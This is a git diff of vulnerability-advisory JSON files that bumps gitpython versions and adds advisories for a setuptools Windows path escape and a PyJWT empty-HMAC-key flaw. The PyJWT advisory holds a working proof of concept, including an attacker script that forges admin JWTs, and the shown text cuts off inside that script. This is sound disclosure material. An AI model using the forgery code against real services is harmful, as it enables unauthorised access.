"pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76218.json b/advisories/BREW-conda-lock-CVE-2026-76218.json index 6b43ca3f3b6..58c26caca29 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76218.json +++ b/advisories/BREW-conda-lock-CVE-2026-76218.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76218", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-9rj7-rf2p-w77r", "CVE-2026-76218", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76219.json b/advisories/BREW-conda-lock-CVE-2026-76219.json index 97766b88a26..49d0fdfad54 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76219.json +++ b/advisories/BREW-conda-lock-CVE-2026-76219.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76219", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-4gmw-gg2m-w46p", "CVE-2026-76219", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76220.json b/advisories/BREW-conda-lock-CVE-2026-76220.json index ae3af75dae2..22c3669c081 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76220.json +++ b/advisories/BREW-conda-lock-CVE-2026-76220.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76220", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-wvpp-8hx9-p66j", "CVE-2026-76220", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76221.json b/advisories/BREW-conda-lock-CVE-2026-76221.json index 6ec5015062f..a4e50132c2d 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76221.json +++ b/advisories/BREW-conda-lock-CVE-2026-76221.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76221", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-jm78-9fvv-mhgr", "CVE-2026-76221", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76222.json b/advisories/BREW-conda-lock-CVE-2026-76222.json index d3e31db48be..f5341ab4783 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76222.json +++ b/advisories/BREW-conda-lock-CVE-2026-76222.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76222", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-hmq2-w58f-27jc", "CVE-2026-76222", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-78675.json b/advisories/BREW-conda-lock-CVE-2026-78675.json index 25bf0c66ab4..9158008877c 100644 --- a/advisories/BREW-conda-lock-CVE-2026-78675.json +++ b/advisories/BREW-conda-lock-CVE-2026-78675.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-78675", "published": "2026-09-04T08:51:51Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3785", "CVE-2026-78675", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.59", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-78676.json b/advisories/BREW-conda-lock-CVE-2026-78676.json index e0ecfee9f74..8e4a8994331 100644 --- a/advisories/BREW-conda-lock-CVE-2026-78676.json +++ b/advisories/BREW-conda-lock-CVE-2026-78676.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-78676", "published": "2026-09-04T08:51:51Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3786", "CVE-2026-78676", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.59", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-78677.json b/advisories/BREW-conda-lock-CVE-2026-78677.json index f9021555c3d..3e1e7b24a01 100644 --- a/advisories/BREW-conda-lock-CVE-2026-78677.json +++ b/advisories/BREW-conda-lock-CVE-2026-78677.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-78677", "published": "2026-09-04T08:51:51Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3787", "CVE-2026-78677", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.59", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-78678.json b/advisories/BREW-conda-lock-CVE-2026-78678.json index 6e0cbae1818..1564750e5f8 100644 --- a/advisories/BREW-conda-lock-CVE-2026-78678.json +++ b/advisories/BREW-conda-lock-CVE-2026-78678.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-78678", "published": "2026-09-04T08:51:51Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3788", "CVE-2026-78678", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.59", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-78679.json b/advisories/BREW-conda-lock-CVE-2026-78679.json index c765bdf80da..ac9e3bb834f 100644 --- a/advisories/BREW-conda-lock-CVE-2026-78679.json +++ b/advisories/BREW-conda-lock-CVE-2026-78679.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-78679", "published": "2026-09-09T23:48:43Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-3wxw-xv34-2frg", "CVE-2026-78679", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.59", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-87817.json b/advisories/BREW-conda-lock-CVE-2026-87817.json index b0a5133b400..a0ff1a72e5c 100644 --- a/advisories/BREW-conda-lock-CVE-2026-87817.json +++ b/advisories/BREW-conda-lock-CVE-2026-87817.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-87817", "published": "2026-09-20T10:47:43Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3982", "CVE-2026-87817", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.60", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-87819.json b/advisories/BREW-conda-lock-CVE-2026-87819.json index 30606f24408..572e43e47fc 100644 --- a/advisories/BREW-conda-lock-CVE-2026-87819.json +++ b/advisories/BREW-conda-lock-CVE-2026-87819.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-87819", "published": "2026-09-20T10:47:43Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "PYSEC-2026-3984", "CVE-2026-87819", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.60", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-GHSA-35mr-4567-66vg.json b/advisories/BREW-conda-lock-GHSA-35mr-4567-66vg.json index 47d37b957cf..22bf97d7009 100644 --- a/advisories/BREW-conda-lock-GHSA-35mr-4567-66vg.json +++ b/advisories/BREW-conda-lock-GHSA-35mr-4567-66vg.json @@ -2,9 +2,10 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-GHSA-35mr-4567-66vg", "published": "2026-10-04T20:28:05Z", - "modified": "2026-10-04T20:28:05Z", + "modified": "2026-10-29T21:37:43Z", "upstream": [ - "GHSA-35mr-4567-66vg" + "GHSA-35mr-4567-66vg", + "CVE-2026-114095" ], "affected": [ { diff --git a/advisories/BREW-conda-lock-GHSA-5fqc-mrg8-w798.json b/advisories/BREW-conda-lock-GHSA-5fqc-mrg8-w798.json index 58ad14c42b0..d202d921923 100644 --- a/advisories/BREW-conda-lock-GHSA-5fqc-mrg8-w798.json +++ b/advisories/BREW-conda-lock-GHSA-5fqc-mrg8-w798.json @@ -2,9 +2,10 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-GHSA-5fqc-mrg8-w798", "published": "2026-10-04T20:28:06Z", - "modified": "2026-10-04T20:28:06Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ - "GHSA-5fqc-mrg8-w798" + "GHSA-5fqc-mrg8-w798", + "CVE-2026-114097" ], "affected": [ { diff --git a/advisories/BREW-conda-lock-GHSA-8w8g-wq8h-fq33.json b/advisories/BREW-conda-lock-GHSA-8w8g-wq8h-fq33.json index a482eb47f59..eed464a03c6 100644 --- a/advisories/BREW-conda-lock-GHSA-8w8g-wq8h-fq33.json +++ b/advisories/BREW-conda-lock-GHSA-8w8g-wq8h-fq33.json @@ -2,9 +2,10 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-GHSA-8w8g-wq8h-fq33", "published": "2026-10-04T20:28:06Z", - "modified": "2026-10-04T20:28:06Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ - "GHSA-8w8g-wq8h-fq33" + "GHSA-8w8g-wq8h-fq33", + "CVE-2026-114096" ], "affected": [ { diff --git a/advisories/BREW-conda-lock-GHSA-cm62-gvxx-vmxx.json b/advisories/BREW-conda-lock-GHSA-cm62-gvxx-vmxx.json index 40f3c931e10..3afd54d66ce 100644 --- a/advisories/BREW-conda-lock-GHSA-cm62-gvxx-vmxx.json +++ b/advisories/BREW-conda-lock-GHSA-cm62-gvxx-vmxx.json @@ -2,9 +2,10 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-GHSA-cm62-gvxx-vmxx", "published": "2026-10-04T20:28:06Z", - "modified": "2026-10-04T20:28:06Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ - "GHSA-cm62-gvxx-vmxx" + "GHSA-cm62-gvxx-vmxx", + "CVE-2026-114098" ], "affected": [ { diff --git a/advisories/BREW-conda-lock-GHSA-xmj3-9gf7-h52w.json b/advisories/BREW-conda-lock-GHSA-xmj3-9gf7-h52w.json new file mode 100644 index 00000000000..b6840a9629d --- /dev/null +++ b/advisories/BREW-conda-lock-GHSA-xmj3-9gf7-h52w.json @@ -0,0 +1,83 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-GHSA-xmj3-9gf7-h52w", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-xmj3-9gf7-h52w" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + }, + { + "fixed": "4.0.3_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "84.1.0", + "resource": "setuptools", + "resource_purl": "pkg:pypi/setuptools@84.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "setuptools", + "subject_version": "84.2.1", + "key": "pkg:pypi/setuptools@84.2.1", + "resource": "setuptools" + } + ] + }, + "summary": "setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation Description", + "details": "### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n destination/\n outside/\n input/\n canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/pull/5329" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/setuptools" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/releases/tag/v84.1.0" + } + ] +} diff --git a/advisories/BREW-gimme-aws-creds-GHSA-pxh4-856f-4h89.json b/advisories/BREW-gimme-aws-creds-GHSA-pxh4-856f-4h89.json new file mode 100644 index 00000000000..11394569624 --- /dev/null +++ b/advisories/BREW-gimme-aws-creds-GHSA-pxh4-856f-4h89.json @@ -0,0 +1,79 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-gimme-aws-creds-GHSA-pxh4-856f-4h89", + "published": "2026-10-29T21:49:03Z", + "modified": "2026-10-29T21:49:03Z", + "upstream": [ + "GHSA-pxh4-856f-4h89" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "gimme-aws-creds", + "purl": "pkg:brew/gimme-aws-creds" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.6.1" + }, + { + "fixed": "2.8.2_16" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "2.14.0", + "resource": "pyjwt", + "resource_purl": "pkg:pypi/pyjwt@2.15.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pyjwt", + "subject_version": "2.15.1", + "key": "pkg:pypi/pyjwt@2.15.1", + "resource": "pyjwt" + } + ] + }, + "summary": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", + "details": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -> bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # <-- empty k -> b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -> bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved\n`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -> `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -> \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -> k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)>1 else b\"\" # empty key\nsig=hmac.new(key, 